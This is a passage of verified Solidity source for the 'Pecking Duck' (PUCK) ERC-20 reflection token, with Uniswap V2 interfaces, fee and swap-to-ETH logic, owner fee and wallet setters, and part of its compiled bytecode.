swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract PeckingDuck is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Pecking Duck'; string private _symbol = 'PUCK'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }
0x6080604052600436106102345760003560e01c806370a082311161012e578063cba0e996116100ab578063f2fde38b1161006f578063f2fde38b14610c9f578063f429389014610cf0578063f815a84214610d07578063f84354f114610d32578063fd62d67514610d835761023b565b8063cba0e99614610aea578063dd46706414610b51578063dd62ed3e14610b8c578063e01af92c14610c11578063f2cc0c1814610c4e5761023b565b8063a69df4b5116100f2578063a69df4b514610989578063a9059cbb146109a0578063af9549e014610a11578063b6c5232414610a6e578063b80ec98d14610a995761023b565b806370a08231146107cb578063715018a6146108305780638da5cb5b1461084757806395d89b4114610888578063a457c2d7146109185761023b565b8063313ce567116101bc57806349bd5a5e1161018057806349bd5a5e146106a457806351bc3c85146106e55780635342acb4146106fc5780635880b873146107635780636ddd17131461079e5761023b565b8063313ce5671461052e578063395093511461055c5780633bd5d173146105cd5780634144d9e4146106085780634549b039146106495761023b565b806318160ddd1161020357806318160ddd146103ad5780631bbae6e0146103d857806323b872dd1461041357806328667162146104a45780632d838119146104df5761023b565b806306fdde0314610240578063095ea7b3146102d057806313114a9d146103415780631694505e1461036c5761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610dc4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029557808201518184015260208101905061027a565b50505050905090810190601f1680156102c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102dc57600080fd5b50610329600480360360408110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e66565b60405180821515815260200191505060405180910390f35b34801561034d57600080fd5b50610356610e84565b6040518082815260200191505060405180910390f35b34801561037857600080fd5b50610381610e8e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b957600080fd5b506103c2610eb2565b6040518082815260200191505060405180910390f35b3480156103e457600080fd5b50610411600480360360208110156103fb57600080fd5b8101908080359060200190929190505050610ebc565b005b34801561041f57600080fd5b5061048c6004803603606081101561043657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff1565b60405180821515815260200191505060405180910390f35b3480156104b057600080fd5b506104dd600480360360208110156104c757600080fd5b81019080803590602001909291905050506110ca565b005b3480156104eb57600080fd5b506105186004803603602081101561050257600080fd5b8101908080359060200190929190505050611220565b6040518082815260200191505060405180910390f35b34801561053a57600080fd5b506105436112a4565b604051808260ff16815260200191505060405180910390f35b34801561056857600080fd5b506105b56004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112bb565b60405180821515815260200191505060405180910390f35b3480156105d957600080fd5b50610606600480360360208110156105f057600080fd5b810190808035906020019092919050505061136e565b005b34801561061457600080fd5b5061061d6114ff565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065557600080fd5b5061068e6004803603604081101561066c57600080fd5b8101908080359060200190929190803515159060200190929190505050611525565b6040518082815260200191505060405180910390f35b3480156106b057600080fd5b506106b96115dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f157600080fd5b506106fa611600565b005b34801561070857600080fd5b5061074b6004803603602081101561071f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e1565b60405180821515815260200191505060405180910390f35b34801561076f57600080fd5b5061079c6004803603602081101561078657600080fd5b8101908080359060200190929190505050611737565b005b3480156107aa57600080fd5b506107b361188d565b60405180821515815260200191505060405180910390f35b3480156107d757600080fd5b5061081a600480360360208110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a0565b6040518082815260200191505060405180910390f35b34801561083c57600080fd5b5061084561198b565b005b34801561085357600080fd5b5061085c611b11565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089457600080fd5b5061089d611b3a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108dd5780820151818401526020810190506108c2565b50505050905090810190601f16801561090a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561092457600080fd5b506109716004803603604081101561093b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bdc565b60405180821515815260200191505060405180910390f35b34801561099557600080fd5b5061099e611ca9565b005b3480156109ac57600080fd5b506109f9600480360360408110156109c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ec6565b60405180821515815260200191505060405180910390f35b348015610a1d57600080fd5b50610a6c60048036036040811015610a3457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611ee4565b005b348015610a7a57600080fd5b50610a83612007565b6040518082815260200191505060405180910390f35b348015610aa557600080fd5b50610ae860048036036020811015610abc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612011565b005b348015610af657600080fd5b50610b3960048036036020811015610b0d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061211d565b60405180821515815260200191505060405180910390f35b348015610b5d57600080fd5b50610b8a60048036036020811015610b7457600080fd5b8101908080359060200190929190505050612173565b005b348015610b9857600080fd5b50610bfb60048036036040811015610baf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612364565b6040518082815260200191505060405180910390f35b348015610c1d57600080fd5b50610c4c60048036036020811015610c3457600080fd5b810190808035151590602001909291905050506123eb565b005b348015610c5a57600080fd5b50610c9d60048036036020811015610c7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124d0565b005b348015610cab57600080fd5b50610cee60048036036020811015610cc257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612883565b005b348015610cfc57600080fd5b50610d05612a8e565b005b348015610d1357600080fd5b50610d1c612b67565b6040518082815260200191505060405180910390f35b348015610d3e57600080fd5b50610d8160048036036020811015610d5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b6f565b005b348015610d8f57600080fd5b50610d98612ef9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5c5780601f10610e3157610100808354040283529160200191610e5c565b820191906000526020600020905b815481529060010190602001808311610e3f57829003601f168201915b5050505050905090565b6000610e7a610e73612f1f565b8484612f27565b6001905092915050565b6000600b54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600954905090565b610ec4612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b69152d02c7e14af6800000811015610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180614f6e6034913960400191505060405180910390fd5b8060158190555050565b6000610ffe84848461311e565b6110bf8461100a612f1f565b6110ba85604051806060016040528060288152602001614feb60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611070612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f59092919063ffffffff16565b612f27565b600190509392505050565b6110d2612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156111a4575060198111155b611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7465616d4665652073686f756c6420626520696e2031202d203235000000000081525060200191505060405180910390fd5b8060108190555050565b6000600a5482111561127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614efc602a913960400191505060405180910390fd5b60006112876135b5565b905061129c81846135e090919063ffffffff16565b915050919050565b6000600e60009054906101000a900460ff16905090565b60006113646112c8612f1f565b8461135f85600560006112d9612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b612f27565b6001905092915050565b6000611378612f1f565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806150a7602c913960400191505060405180910390fd5b6000611428836136b2565b5050505050905061148181600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114d981600a5461371990919063ffffffff16565b600a819055506114f483600b5461362a90919063ffffffff16565b600b81905550505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060095483111561159f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816115bf5760006115af846136b2565b50505050509050809150506115d6565b60006115ca846136b2565b50505050915050809150505b92915050565b7f000000000000000000000000584f785b0bfa46e8051b9967e30c538761dc5eb081565b611608612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006116d3306118a0565b90506116de81613763565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61173f612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611811575060198111155b611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20323500000000000081525060200191505060405180910390fd5b80600f8190555050565b601460159054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561193b57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611986565b611983600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611220565b90505b919050565b611993612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bd25780601f10611ba757610100808354040283529160200191611bd2565b820191906000526020600020905b815481529060010190602001808311611bb557829003601f168201915b5050505050905090565b6000611c9f611be9612f1f565b84611c9a856040518060600160405280602581526020016150f66025913960056000611c13612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f59092919063ffffffff16565b612f27565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806150d36023913960400191505060405180910390fd5b6002544211611dc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611eda611ed3612f1f565b848461311e565b6001905092915050565b611eec612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e6162